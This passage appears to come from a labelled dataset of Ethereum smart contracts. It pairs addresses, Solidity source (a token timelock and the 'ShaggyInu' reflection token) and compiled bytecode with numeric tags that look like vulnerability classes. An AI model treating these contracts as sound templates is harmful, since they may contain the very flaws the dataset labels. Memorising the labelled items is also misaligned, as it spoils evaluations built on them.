600061392e8261385c565b91506139398361385c565b92508261394957613948613983565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b613a2a816137f2565b8114613a3557600080fd5b50565b613a4181613804565b8114613a4c57600080fd5b50565b613a5881613810565b8114613a6357600080fd5b50565b613a6f8161385c565b8114613a7a57600080fd5b5056fea264697066735822122091f5bdcdc8d994116f42579a968dbaf04405a15b3ae5b152f0fbb81e2449ba8764736f6c63430008000033
[ 5 ]
0xf1c63c381fecffeb19d185e253cf7a4a246ab261
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30412800; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xe5D1F475CAD5ce6c871a2DBbD27EEB88C6264295; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a72305820bd54c33002ec16f71a739a8a9333bcb67b496e13ecaf4e246db5f8a2e95f35550029
[ 16, 7 ]
0xf1c6ed42380ccd1def9db030a81150cfe671bb85
// SPDX-License-Identifier: Unlicensed /* Telegram: https://t.me/shaggyinu */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ShaggyInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; address payable private _feeAddrWallet3; string private constant _name = "Shaggy Inu"; string private constant _symbol = "ShaggyInu"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x11594bB5345948Ce587B6f7818757f1A86E1E37a); _feeAddrWallet2 = payable(0x11594bB5345948Ce587B6f7818757f1A86E1E37a); _feeAddrWallet3 = payable(0x11594bB5345948Ce587B6f7818757f1A86E1E37a); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = 1; _feeAddr2 = 8; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 300000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner{ _maxTxAmount = _tTotal; } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount/3); _feeAddrWallet2.transfer(amount/3); _feeAddrWallet3.transfer(amount/3); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000* 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102ff578063c3c8cd801461033c578063c9567bf914610353578063dd62ed3e1461036a576100fe565b806370a0823114610255578063715018a6146102925780638da5cb5b146102a957806395d89b41146102d4576100fe565b80632ab30838116100c65780632ab30838146101d3578063313ce567146101ea5780635932ead1146102155780636fc3eaec1461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b6040516101259190612514565b60405180910390f35b34801561013a57600080fd5b506101556004803603810190610150919061212d565b6103e4565b60405161016291906124f9565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d9190612636565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b891906120de565b610412565b6040516101ca91906124f9565b60405180910390f35b3480156101df57600080fd5b506101e86104eb565b005b3480156101f657600080fd5b506101ff610591565b60405161020c91906126ab565b60405180910390f35b34801561022157600080fd5b5061023c60048036038101906102379190612169565b61059a565b005b34801561024a57600080fd5b5061025361064c565b005b34801561026157600080fd5b5061027c60048036038101906102779190612050565b6106be565b6040516102899190612636565b60405180910390f35b34801561029e57600080fd5b506102a761070f565b005b3480156102b557600080fd5b506102be610862565b6040516102cb919061242b565b60405180910390f35b3480156102e057600080fd5b506102e961088b565b6040516102f69190612514565b60405180910390f35b34801561030b57600080fd5b506103266004803603810190610321919061212d565b6108c8565b60405161033391906124f9565b60405180910390f35b34801561034857600080fd5b506103516108e6565b005b34801561035f57600080fd5b50610368610960565b005b34801561037657600080fd5b50610391600480360381019061038c91906120a2565b610ebb565b60405161039e9190612636565b60405180910390f35b60606040518060400160405280600a81526020017f53686167677920496e7500000000000000000000000000000000000000000000815250905090565b60006103f86103f1610f42565b8484610f4a565b6001905092915050565b600067016345785d8a0000905090565b600061041f848484611115565b6104e08461042b610f42565b6104db85604051806060016040528060288152602001612b8560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610491610f42565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f19092919063ffffffff16565b610f4a565b600190509392505050565b6104f3610f42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610580576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610577906125b6565b60405180910390fd5b67016345785d8a0000601181905550565b60006009905090565b6105a2610f42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461062f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610626906125b6565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661068d610f42565b73ffffffffffffffffffffffffffffffffffffffff16146106ad57600080fd5b60004790506106bb81611455565b50565b6000610708600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b7565b9050919050565b610717610f42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079b906125b6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f536861676779496e750000000000000000000000000000000000000000000000815250905090565b60006108dc6108d5610f42565b8484611115565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610927610f42565b73ffffffffffffffffffffffffffffffffffffffff161461094757600080fd5b6000610952306106be565b905061095d81611625565b50565b610968610f42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec906125b6565b60405180910390fd5b601060149054906101000a900460ff1615610a45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3c90612616565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ad430600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a0000610f4a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b1a57600080fd5b505afa158015610b2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b529190612079565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bb457600080fd5b505afa158015610bc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bec9190612079565b6040518363ffffffff1660e01b8152600401610c09929190612446565b602060405180830381600087803b158015610c2357600080fd5b505af1158015610c37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5b9190612079565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ce4306106be565b600080610cef610862565b426040518863ffffffff1660e01b8152600401610d1196959493929190612498565b6060604051808303818588803b158015610d2a57600080fd5b505af1158015610d3e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d6391906121bb565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff02191690831515021790555067016345785d8a00006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e6592919061246f565b602060405180830381600087803b158015610e7f57600080fd5b505af1158015610e93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb79190612192565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb1906125f6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561102a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102190612556565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111089190612636565b60405180910390a3505050565b60008111611158576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114f906125d6565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111af57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146113e1576001600a819055506008600b81905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561129d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156112f35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561130b5750601060179054906101000a900460ff165b156113205760115481111561131f57600080fd5b5b600061132b306106be565b9050601060159054906101000a900460ff161580156113985750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156113b05750601060169054906101000a900460ff165b156113df576113be81611625565b6000479050670429d069189e00008111156113dd576113dc47611455565b5b505b505b6113ec83838361191f565b505050565b6000838311158290611439576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114309190612514565b60405180910390fd5b506000838561144891906127fc565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60038361149e9190612771565b9081150290604051600060405180830381858888f193505050501580156114c9573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6003836115139190612771565b9081150290604051600060405180830381858888f1935050505015801561153e573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6003836115889190612771565b9081150290604051600060405180830381858888f193505050501580156115b3573d6000803e3d6000fd5b5050565b60006008548211156115fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f590612536565b60405180910390fd5b600061160861192f565b905061161d818461195a90919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611683577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156116b15781602001602082028036833780820191505090505b50905030816000815181106116ef577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561179157600080fd5b505afa1580156117a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c99190612079565b81600181518110611803577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061186a30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f4a565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016118ce959493929190612651565b600060405180830381600087803b1580156118e857600080fd5b505af11580156118fc573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b61192a8383836119a4565b505050565b600080600061193c611b6f565b91509150611953818361195a90919063ffffffff16565b9250505090565b600061199c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611bce565b905092915050565b6000806000806000806119b687611c31565b955095509550955095509550611a1486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611aa985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611af581611d41565b611aff8483611dfe565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b5c9190612636565b60405180910390a3505050505050505050565b60008060006008549050600067016345785d8a00009050611ba367016345785d8a000060085461195a90919063ffffffff16565b821015611bc15760085467016345785d8a0000935093505050611bca565b81819350935050505b9091565b60008083118290611c15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0c9190612514565b60405180910390fd5b5060008385611c249190612771565b9050809150509392505050565b6000806000806000806000806000611c4e8a600a54600b54611e3